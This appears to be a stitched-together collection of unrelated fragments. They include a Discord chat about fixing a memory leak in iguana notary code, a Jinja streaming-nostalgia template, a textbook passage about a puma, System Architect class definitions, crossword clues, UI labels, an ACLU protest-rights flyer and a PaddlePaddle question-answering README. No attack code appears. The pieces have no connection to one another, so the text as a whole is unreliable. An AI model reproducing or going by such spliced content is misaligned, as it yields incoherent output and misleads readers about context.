blackjok3r15-Mar-19 05:37 AM
Well to understand it, its best to just start commenting out everything that looks not relevent and then seeing if it still works
looks like im making some progress
man when you start it now. there is liek 10 prints of thing that start instead of liek 30 of them that did nothing
I have NN_CONNECT so its a good start
likey iguana just for dPoW would be a few thousand lines... 80% of it seems not requred for dPoW
Its notarizing
3
hmmm I wonder if this build works on a-team... guess I should try it and find out... might give me a huge advantage
CPU 0.2%
2
ComputerGenie 👴👴👴15-Mar-19 05:45 AM
when push?
1
blackjok3r15-Mar-19 05:45 AM
its pushed
./build_iguanapkill -15 iguana./start_iguana.sh
ComputerGenie 👴👴👴15-Mar-19 05:47 AM
113 insertions(+), 95 deletions(-)
so not just a "little" change?
1
blackjok3r15-Mar-19 05:47 AM
Ive been messing with it for a few hours,, trying out many diffrent things... most of that is moving the order of functions so it builds
1
if it doesnt work, thats because im still doing it properly wont be long though
Mylo15-Mar-19 05:56 AM
IQ is rubbish anyway. i have an IQ of 57
or maybe it wasy 571
either way i can't type fast without erorz
ComputerGenie 👴👴👴15-Mar-19 05:56 AM
is thinking it's neither
1
blackjok3r15-Mar-19 06:19 AM
a-team is notarizing with the staked iguana lol
3
2
ComputerGenie 👴👴👴15-Mar-19 06:23 AM
at an improved rate?
ARRR TipBotBOT15-Mar-19 06:40 AM
TipBot
@webworker01 (webworker01#3884)
You tipped @blackjok3r419.9999 ARRR
A network fee of 0.0001 ARRR was deducted from the amount.
This operation is pending. You will be notified when when it has finished.
blackjok3r15-Mar-19 06:40 AM
how should I know if it imporves anything. It will take an entire week to know anything
I kind of understand whats happening with the memleak too. I think it will require more changes still .
it jsut doesnt free anything. for sure
the thing that does it litterally doesnt work at all
ComputerGenie 👴👴👴15-Mar-19 06:59 AM
"the thing"?
blackjok3r15-Mar-19 07:23 AM
its broken, totally 100% broken
as in does not do anything or work at all
changing it to use a new finished falg does nothing, beacause it never even enters that code path ever
ComputerGenie 👴👴👴15-Mar-19 07:26 AM
its broken, totally 100% broken stop doing that
blackjok3r15-Mar-19 07:26 AM
I dont know if I can fix it, but I can try... I know Im supposed to be doing other thigns, but this seems more important to me as its breaking notary nodes ability to do their job atm
as far as I can see, the mempory is being allocated in multiple places
so maybe to free it, we need to allocate less of it in the same place as when it gets let go(edited)
CrisF15-Mar-19 07:27 AM
Is that the mempool fix? I'm making quite a few notarizations with the new iguana.
blackjok3r15-Mar-19 07:28 AM
No mempool fix is extra, new iguana I just removed maybe 80% of the running code
ComputerGenie 👴👴👴15-Mar-19 07:28 AM
genie@StakedNotary:~/SuperNET$ git log -1
commit e0e6d9efe59228e2b884602b5b08e6dab96dfe7b
Author: blackjok3r<EMAIL_ADDRESS>Date: Fri Mar 15 13:52:10 2019 +0800
add STAKED build flag
notarizes
blackjok3r15-Mar-19 07:28 AM
Still has memleak
ComputerGenie 👴👴👴15-Mar-19 07:28 AM
ahh yes
blackjok3r15-Mar-19 07:28 AM
Im only working on main net fork atm, becuase it uses ridiulous amounts of memory
much easier to see if anything works or not...
1
ComputerGenie 👴👴👴15-Mar-19 07:29 AM
ok, 2:30 am time to smoke some oil and take a nap
2
blackjok3r15-Mar-19 07:34 AM
wow no wonder its broken ...
Its using an arrray of memory with the block height as the index and just skipping every array index that does not ahve a notarization.
Not even sure ti can be fixed
when it gets to a higher block than it has, it just allocates another 10,000 array spots
why would it need to do it that way I wonder
pretty sure I cna just re write this to use an array of 100 and loop back to 0...
should amke it use a few hundred megs of ram instead of GBs
jl777c15-Mar-19 07:49 AM
10,000 ptrs is 80kb
are you sure that is what is eating the memory?
10 million blocks -> 80MB
1 billion blocks -> 8GB
blackjok3r15-Mar-19 07:51 AM
its not freeing what the pointers point to
never
doesnt work at all...
jl777c15-Mar-19 07:51 AM
the array of pointers is not the problem, not freeing the contents is
blackjok3r15-Mar-19 07:52 AM
yes I think I worked that out already, array of pointers seems ok ... but not sure why it needs to be there in the first place
cant it just allocate a block and free it when its finished?
jl777c15-Mar-19 07:53 AM
it could, but then there would need to be a way to find it
i use the array of pointers for instant search ability
blackjok3r15-Mar-19 07:53 AM
bp = calloc(1,sizeof(*bp));
is in dpowstatemachinstart


{% if live %} SING STRIM FOR FIRST TIME IN {{ years }} YEARS {% else %} {{ years }} years since sing strim {% endif %}
{{ years }} years since sing strim.i walk through the empty streets trying to think of something else but my path always leads to the stream. i stare at the screen for hours and try to summon the lord. i watch other asian girls streaming but it is no good. i flame dendi in his channel and try to resist the nazi mods but it is all meaningless. the end is near.i then usually watch some old sing vods and cry myself to sleep.


| lesson 1 A puma at large |
| Pumas are large, cat-like animals which are found in America. |
| When reports came into London Zoo that a wild puma had been spotted forty-five miles south of London, they were not taken seriously. |
| However, as the evidence began to accumulate, experts from the Zoo felt obliged to investigate, |
| for the descriptions given by people who claimed to have seen the puma were extraordinarily similar. |
| The hunt for the puma began in a small village where a woman picking blackberries saw 'a large cat' only five yards away from her. |
| It immediately ran away when she saw it, and experts confirmed that a puma will not attack a human being unless it is cornered. |
| The search proved difficult, |
| for the puma was often observed at one place in the morning and at another place twenty miles away in the evening. |
| Wherever it went, it left behind it a trail of dead deer and small animals like rabbits. |
| Paw prints were seen in a number of places and puma fur was found clinging to bushes. |
| Several people complained of 'cat-like noises' at night and a businessman on a fishing trip saw the puma up a tree. |
| The experts were now fully convinced that the animal was a puma, but where had it come from? |
| As no pumas had been reported missing from any zoo in the country, |
| this one must have been in the possession of a private collector and somehow managed to escape. |
| The hunt went on for several weeks, but the puma was not caught. |
| It is disturbing to think that a dangerous wild animal is still at large in the quiet countryside. |


System Architect Definitions, Encyclopedia:"D:\DATA\SYSARCH\HCM\GEN_DATA\SUBJECT\V01\CURRENT\"
Classification Element 1 (Object)
- Class:
"Classification Element"
- Definitions Used:
-
Classification Element (Class)
Classification Element 2 (Object)
- Class:
"Classification Element"
- Definitions Used:
-
Classification Element (Class)
Classification Element (Class)
- Description:
"Knowledge Concept" describing a genus - species relation between two "Categories".
- Comment:
-
Note that genus - species or "is-a" relations mean that any object which is an instance of the
species category is also an instance of the genus category and hence will exhibit all properties
exhibited in common by all instances of that genus category plus some specific properties of its
own. No more and no less.
It is also important to recognise that Associative categories can only partake in genus / species
relations with other Associative categories, and that Descriptive categories can only partake in
genus / species relations with other Descriptive categories.
- Source:
post-CBS
- Previous name:
Classification
- State Type:
F
- &Attributes:
-
"Basis For Differentiation"
- &Abstract:
F
- Value:
F
- Definitions Used:
-
Basis For Differentiation (Class Attribute)
Classification In Version (Class)
- Description:
Describes the location of a "Classification" in a "Classification Version".
- Comment:
Note that the same Classification may occur in more than one Classification Version. For example,
constructs may be carried forward from Read v2 to Read v3.
- Source:
post-CBS
- State Type:
F
- &Abstract:
F
- Value:
F
Classification System Version (Class)
- Description:
"Knowledge Concept" acting as a single version of a "Classification System".
- Source:
post-CBS
- State Type:
F
- &Abstract:
F
- Value:
F
Classification System (Class)
- Description:
"Knowledge Concept" being a collection of two or more "Classifications" into a coherent system.
- Comment:
-
Within Classification Systems, all Categories which do not form the highest level Classification are
species in one or more Classifications.
All Categories which do not form lowest level Classifications are genuses in one or more
Classifications.
- Source:
post-CBS
- State Type:
F
- &Abstract:
F
- Value:
F
Classified Property Qualifier (Class)
- Description:
"Subject Property Qualifier" classified by a "Property Qualifier Type".
- Comment:
This is distinct from the specific subtypes such as "Intention" and "Perception Of Property" and is
intended to allow for a generalised qualification.
- Examples:
"Laterality" and "Site" in describing characteristics.
- Source:
COSHER
- State Type:
F
- &Abstract:
F
- Value:
F
classifier (Association)
- From Class:
"Incident Type"
- To Class:
Incident
classifier (Association)
- From Class:
"Property Qualifier Type"
- To Class:
"Classified Property Qualifier"
classifier (Association)
- From Class:
"Activity Qualifier Type"
- To Class:
"Activity Qualifier"
classifier (Association)
- From Class:
"Activity Type"
- To Class:
"Activity Type Excluded"
classifier (Association)
- From Class:
"Focus State Type"
- To Class:
"Focus State"
classifier (Association)
- From Class:
"Intention Type"
- To Class:
Intention
classifier (Association)
- From Class:
"Subject Characteristic Type"
- To Class:
"Subject Characteristic"
classifier (Association)
- From Class:
"Activity Type"
- To Class:
Activity
classifier (Association)
- From Class:
"Subject Location Type"
- To Class:
"Subject Location"
classifier (Association)
- From Class:
"Inter Subject Relationship Type"
- To Class:
"Inter Subject Relationship"
classifier (Association)
- From Class:
"Incident Involvement Type"
- To Class:
"Involvement In Incident"
classifier (Association)
- From Class:
"Phenomenon Qualifier Type"
- To Class:
"Phenomenon Qualifier"
classifier (Association)
- From Class:
"Contact Method"
- To Class:
"Subject Contact"
classifier (Association)
- From Class:
"Resource Type"
- To Class:
"Resource Held"
classifier (Association)
- From Class:
"Resource Type"
- To Class:
"Resource Type For Activity"
classifier (Association)
- From Class:
"Activity State Type"
- To Class:
"Activity State"
classifier (Association)
- From Class:
"Intention State Type"
- To Class:
"Intention State"
classifier (Association)
- To Class:
"Temporal Phenomenon Link"
- From Class:
"Temporal Link Type"
classifier (Association)
- From Class:
"Temporal Link Type"
- To Class:
"Timepoint Association"
classifier (Association)
- From Class:
"Location Structure Type"
- To Class:
"Location Structure"
classifier (Association)
- From Class:
"Subject Identifier State Type"
- To Class:
"Subject Identifier State"
classifier (Association)
- From Class:
"Activity Type"
- To Class:
"Agent's Activity Type"
classifier (Association)
- From Class:
"Activity Type"
- To Class:
"Subject Responsibility"


Across: 1. Sailor with amnesia I abandoned (6) 4. Second mark Bob made remains (6) 9. Cuts back part of Middlesex Arts budget (4) 10. Fooled by friendly signal from Capone? (10) 11. Bed needs heavyweight fabric (6) 12. Breaks up in South Luton town (8) 13. Deep hole in one’s land? (9) 15. One is accepted by last girl (4) 16. Quietly push baby carriage (4) 17. Accommodated fourth journalist (9) 21. Hold back and break fall (8) 22. Instructor takes soldiers to hill (6) 24. Lies raised and told bit by bit (10) 25. Leave GP’s surgery (4) 26. Understand Sam’s initial figures (6) 27. Points to Grey discovering mc2 (6) Down: 1. S-smell around retired doctor’s dish (3 4) 2. Breaking seats may be a good thing (5) 3. African woodworker I follow (7) 5. Pub for caravanners? (6) 6. Does she adopt a Tory position? (9) 7. Listener hurried outside for run-through (7) 8. Lose this when you go out (13) 14. Amazing flyer circles East End (9) 16. Put on act to enter into Police Department (7) 18. Fast striker may be a dangerous man! (7) 19. Energy firm gets to register every last environmental study (7) 20. Everything placed in soaking purse! (6) 23. Lowest point comes in being in a dire situation (5)


fun tokenString(tokenString: String?): SpotifyApiBuilder
If you only have an access token, the api can be instantiated with it


Property Name
Property Value
New Document
Edit Worksite
Remove Worksite
Add Facility
Edit Facility
Remove Facility
Add Drawing
Edit Drawing
Remove Drawing
Cancel
Remove


KNOW YOUR Rights
When PROTESTING you have the right to:
- Peacefully assemble to exercise your First Amendment right to protest.
- Protest in traditional "public forums" such as streets, sidewalks,
and parks so lons as you aren't blocking traffic.
- Protest without a permit in response to recent events.
- Distribute leaflets and other literature on public sidewalks without
a permit.
- Photograph or videotape cops.
>>Learn more: aclu.org/kyr-protest<<
When STOPPED BY POLICE you have the right to:
- Don't run or argue, even if the police are violating your rights
- Ask if you're free to leave. If you're under arrest, you have a
right to know why.
- You have the right to remain silent.
- You can refuse consent for a search, but officers may "pat down"
your clothing if they suspect a weapon.
>>Learn more: aclu.org/kyr-police<<


# Neural Recurrent Sequence Labeling Model for Open-Domain Factoid Question Answering
This model implements the work in the following paper:
Peng Li, Wei Li, Zhengyan He, Xuguang Wang, Ying Cao, Jie Zhou, and Wei Xu. Dataset and Neural Recurrent Sequence Labeling Model for Open-Domain Factoid Question Answering. [arXiv:1607.06275](https://arxiv.org/abs/1607.06275).
If you use the dataset/code in your research, please cite the above paper:
```text
@article{li:2016:arxiv,
author = {Li, Peng and Li, Wei and He, Zhengyan and Wang, Xuguang and Cao, Ying and Zhou, Jie and Xu, Wei},
title = {Dataset and Neural Recurrent Sequence Labeling Model for Open-Domain Factoid Question Answering},
journal = {arXiv:1607.06275v2},
year = {2016},
url = {https://arxiv.org/abs/1607.06275v2},
}
```
## Installation
1. Install PaddlePaddle v0.10.5 by the following commond. Note that v0.10.0 is not supported.
```bash
# either one is OK
# CPU
pip install paddlepaddle
# GPU
pip install paddlepaddle-gpu
```
2. Download the [WebQA](http://idl.baidu.com/WebQA.html) dataset by running
```bash
cd data && ./download.sh && cd ..
```
## Hyperparameters
All the hyperparameters are defined in `config.py`. The default values are aligned with the paper.
## Training
Training can be launched using the following command:
```bash
PYTHONPATH=data/evaluation:$PYTHONPATH python train.py 2>&1 | tee train.log
```
## Validation and Test
WebQA provides two versions of validation and test sets. Automatic validation and test can be lauched by
```bash
PYTHONPATH=data/evaluation:$PYTHONPATH python val_and_test.py models [ann|ir]
```
where
* `models`: the directory where model files are stored. You can use `models` if `config.py` is not changed.
* `ann`: using the validation and test sets with annotated evidence.
* `ir`: using the validation and test sets with retrieved evidence.
Note that validation and test can run simultaneously with training. `val_and_test.py` will handle the synchronization related problems.
Intermediate results are stored in the directory `tmp`. You can delete them safely after validation and test.
The results should be comparable with those shown in Table 3 in the paper.
## Inferring using a Trained Model
Infer using a trained model by running:
```bash
PYTHONPATH=data/evaluation:$PYTHONPATH python infer.py \
MODEL_FILE \
INPUT_DATA \
OUTPUT_FILE \
2>&1 | tee infer.log
```
where
* `MODEL_FILE`: a trained model produced by `train.py`.
* `INPUT_DATA`: input data in the same format as the validation/test sets of the WebQA dataset.
* `OUTPUT_FILE`: results in the format specified in the WebQA dataset for the evaluation scripts.
## Pre-trained Models
We have provided two pre-trained models, one for the validation and test sets with annotated evidence, and one for those with retrieved evidence. These two models are selected according to the performance on the corresponding version of validation set, which is consistent with the paper.
The models can be downloaded with
```bash
cd pre-trained-models && ./download-models.sh && cd ..
```
The evaluation result on the test set with annotated evidence can be achieved by
```bash
PYTHONPATH=data/evaluation:$PYTHONPATH python infer.py \
pre-trained-models/params_pass_00010.tar.gz \
data/data/test.ann.json.gz \
test.ann.output.txt.gz
PYTHONPATH=data/evaluation:$PYTHONPATH \
python data/evaluation/evaluate-tagging-result.py \
test.ann.output.txt.gz \
data/data/test.ann.json.gz \
--fuzzy --schema BIO2
# The result should be
# chunk_f1=0.739091 chunk_precision=0.686119 chunk_recall=0.800926 true_chunks=3024 result_chunks=3530 correct_chunks=2422
```
And the evaluation result on the test set with retrieved evidence can be achieved by
```bash
PYTHONPATH=data/evaluation:$PYTHONPATH python infer.py \
pre-trained-models/params_pass_00021.tar.gz \
data/data/test.ir.json.gz \
test.ir.output.txt.gz
PYTHONPATH=data/evaluation:$PYTHONPATH \
python data/evaluation/evaluate-voting-result.py \
test.ir.output.txt.gz \
data/data/test.ir.json.gz \
--fuzzy --schema BIO2
# The result should be
# chunk_f1=0.749358 chunk_precision=0.727868 chunk_recall=0.772156 true_chunks=3024 result_chunks=3208 correct_chunks=2335
```